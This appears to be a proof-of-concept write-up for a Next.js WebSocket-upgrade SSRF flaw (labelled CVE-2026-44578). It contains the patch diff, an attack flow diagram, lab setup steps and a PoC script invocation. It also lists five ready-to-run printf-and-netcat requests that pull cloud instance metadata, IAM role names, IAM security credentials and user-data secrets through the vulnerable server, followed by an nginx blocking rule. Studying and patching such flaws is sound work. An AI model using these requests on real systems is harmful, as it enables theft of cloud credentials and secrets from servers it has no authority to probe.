// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

./teardown.sh

# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}